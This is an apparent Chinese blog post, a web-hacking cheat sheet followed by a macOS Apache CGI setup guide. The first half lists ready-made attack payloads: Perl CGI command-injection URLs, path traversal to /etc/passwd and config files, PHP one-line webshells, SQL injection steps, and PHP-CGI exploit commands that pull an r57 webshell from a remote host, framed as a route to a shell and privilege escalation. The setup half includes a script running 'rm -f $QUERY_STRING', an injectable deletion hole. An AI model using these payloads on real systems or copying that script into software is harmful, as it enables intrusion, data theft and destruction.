• CGI Hack 实现在HTML页面执行Shell命令


    总体思路,跳过限制,查看敏感文件和密码相关文件。

    写入一句话cgi,进后台试传webshell(如果后台加验证或者MD5的时候,可以试着cookies欺骗、本地提交),寻找可执行的目录和相关函数,拿shell>提权   

    一、Perl 手工注入

    Perl脚本的漏洞大多出在open()、system()或者 ’’调用中,前者允许读写和执行,而后两个允许执行。   

    以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET。  

    1. http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
    2. http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
    3. http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
    4. http://target.com/cgi-bin/home/news/sub.pl?`id`
    5. http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
    6. http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
    7. http://target.com/test.pl;ls|
    8. http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
    9. http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
    10. http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
    11. 比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
    12. http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
    13. http://target.com/test.pl?&........ /../../etc/passwd
    14. http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=./test 前面加./
    15. http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=test%00 注意后面的 %00 别弄丢了
    16. http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../etc/passwd%00
    17. http://www.target.org/show.php?filename=../../../../../../../home/murong/include/config.php 查看php代码
    18. http://www.target.org/show.php?filename=../../../../../../../home/murong/admin/global.php

    emm和ps的一句话:

    1. "$a$b);unlink($a);?>"
    2. echo "" > up.php
    3. eval($_POST[cmd]);?>
    4. http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22&key=../../../../../../../../bin/ls%20
    5. >bbb%20|
    6. http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’SELECT\’ 字符串
    7. http://www.target.org/cgi-bin/club/scripts/..%c0%af../..%c0%af../bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
    8. http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin

    相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法。   

    1. http://target.com/index.html#cmd.exe
    2. http://target.com/index.html?dummyparam=xp_cmdshell
    3. lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd

    二、ASP和PHP手工注入

    判断是否存在注入:

    1. http://URL.asp?id=24 and 1=1 返回了正常
    2. http://URL.asp?id=24 and 1=2 返回了错误

    判断数据库是ACC或MSS:ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,MSS的系统表是sysobjects,在WEB环境下有访问权限。

    1. http://URL.asp?id=24 and (select count(*) from sysobjects)>0
    2. http://URL.asp?id=24 and (select count(*) from msysobjects)>0

    若数据库是MSS,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。

    判断表名:

    http://URL.asp?id=24 and (select count(*) from 表名)>0

    如果表名存在就会返回正常,反则错误。

    判断列名:

    and (select count(列名) from 已存在表名)>0

    判断网站的回显位置:

    1. order by N
    2. union select 1,2,3…N from 已存在表名

    猜用户名和密码长度,根据回显位置替换列名就可以了。

    PHP-CGI漏洞利用EXP

    1、本地包含直接执行代码:

    curl -H "USER-AGENT: " https://www.webshell.cc/test.php?-dauto_prepend_file%3d/proc/self/environ+-n

    2、远程包含执行代码:

    curl https://www.webshell.cc/test.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttps://www.webshell.cc/r57.txt

    三、JSP手工注入

    Mac apache配置cgi环境 (不用系统自带的apache cgi.)

    homebrew安装apache:

    brew tap homebrew/apache  //更新下仓库

    安装cgi:

    1. brew update
    2. brew tap homebrew/httpd24
    3. brew install httpd24

    安装完后,会有如下提示:

    1. DocumentRoot is /usr/local/var/www.
    2. The default ports have been set in /usr/local/etc/httpd/httpd.conf to 8080 and in
    3. /usr/local/etc/httpd/extra/httpd-ssl.conf to 8443 so that httpd can run without sudo.
    4. To have launchd start httpd now and restart at login:
    5. brew services start httpd
    6. Or, if you don't want/need a background service you can just run:
    7. apachectl start

    打开apache:

    brew services start httpd

    在浏览器输入:

    localhost:8080

    如果得到 It’works,说明apache运行成功。

    brew安装的apache默认端口是8080,mac自带的apache默认端口是80。

    修改httpd.conf文件:

    添加两行,将166-171 修改 取消注释:

    1. <IfModule !mpm_prefork_module>
    2. LoadModule cgid_module lib/httpd/modules/mod_cgid.so
    3. IfModule>
    4. <IfModule mpm_prefork_module>
    5. LoadModule cgi_module lib/httpd/modules/mod_cgi.so
    6. IfModule>

    修改 标签里的内容如下,ExecCGI 表示在cgi-bin目录下执行cgi脚本,所有的cgi脚本都需要放到改目录下:

    1. var/www/cgi-bin">
    2. Options ExecCGI
    3. AllowOverride None
    4. Order deny,allow
    5. Allow from all

    取消下面四行的注释:

    1. ScriptAlias /cgi-bin/ "/usr/local/var/www/cgi-bin/"
    2. AddHandler cgi-script .cgi
    3. AddType text/html .shtml
    4. AddOutputFilter INCLUDES .shtml

    在AddHandler cgi-script .cgi 后面添加支持的cgi脚本格式, 比如.sh .pl. 由于我这里用shell脚本,所有修改为:

    AddHandler cgi-script .cgi .sh .pl .py

    将编辑好的cgi.py 文件放入 /usr/local/var/www/cgi-bin/:

    cgi.py的内容:

    1. #!/usr/bin/env python
    2. # -*- coding: utf-8 -*-
    3. # @Date : 2018-08-20 15:41:29
    4. # @Author : Timtian (tzf_008@126.com)
    5. # @Link : https://blog.csdn.net/timtian008
    6. # @Version : $Id$
    7. import os
    8. print ("Content-type:text/html")
    9. print ('') # 空行,告诉服务器结束头部
    10. print ('')
    11. print ('')
    12. print ('')
    13. print ('Hello World - 我的第一个 CGI 程序!')
    14. print ('')
    15. print ('')
    16. print ('

      Hello World! 我是来自菜鸟教程的第一CGI程序

      '
      )
    17. print ('')
    18. print ('')

    修改权限:

    1. chmod +x /usr/local/var/www
    2. chmod +x /usr/local/var/www/cgi-bin
    3. chmod 777 /usr/local/var/www/cgi-bin/cgi.py

    重启服务器:

    1. brew services restart httpd
    2. sudo apachectl restart

    浏览器打开:

    http://localhost:8080/cgi-bin/cgi.py

    成功的显示结果:

    在 /usr/local/var/www/cgi-bin 下放置测试脚本delete.sh:

    1. #!/bin/bash
    2. echo "Content-type: text/html"
    3. echo ""
    4. # ok, we've sent the header, now send some content
    5. rm -f $QUERY_STRING
    6. if [ "$?" -eq 0 ]; then
    7. echo "Deleted!"
    8. else
    9. echo "Delete failed!"
    10. fi

    需要给delete.sh 权限:

    chmod +x /usr/local/var/www/cgi-bin/delete.sh

    在浏览器中打开:

    localhost:8080/cgi-bin/delete.sh?1.png

    或者用curl:

    curl "localhost:8080/cgi-bin/delete.sh?1.png"

     注意:

    1.404 not fount
    可能是DocumentRoot没有设置对,或者ScriptAlias /cgi-bin/ 没设置对,或者没有对应的文件

    2.403 forbidden
    我遇到这个问题是因为 /cgi-bin/ 不在 DocumentRoot的子目录下。
    还有一个可能是 没有给 /cgi-bin/还有里面的脚本执行权限

    3.500 Internal Server Error
    是脚本输出的格式不符合http1.1协议格式

    小编就因为 书写错误掉入坑中:

     

  • 相关阅读:
    985大学新增专业,考数据结构+自然语言处理!中央民族大学新增语言信息安全...
    Java设计模式(三)结构型 设计模式
    物联网TCP、UDP、CoAP、LwM2M、MQTT协议简单对比
    RabbitMQ开发注意事项
    隧道未来如何发展?路网全息感知,颠覆公路交通安全史
    【好文转载】曲线的切向量怎么求?和平面法向量的联系
    在数据库插入万条数据,比普通插入提升百倍速度
    macOS - mdls, mdfind, mdutil, xargs 命令使用
    Yolov8-pose关键点检测:模型轻量化创新 | ​BiLevelRoutingAttention 动态稀疏注意力 | CVPR2023 BiFormer
    2024年腾讯云4核8G云服务器性能测评和优惠价格表
  • 原文地址:https://blog.csdn.net/qq_35029061/article/details/126094535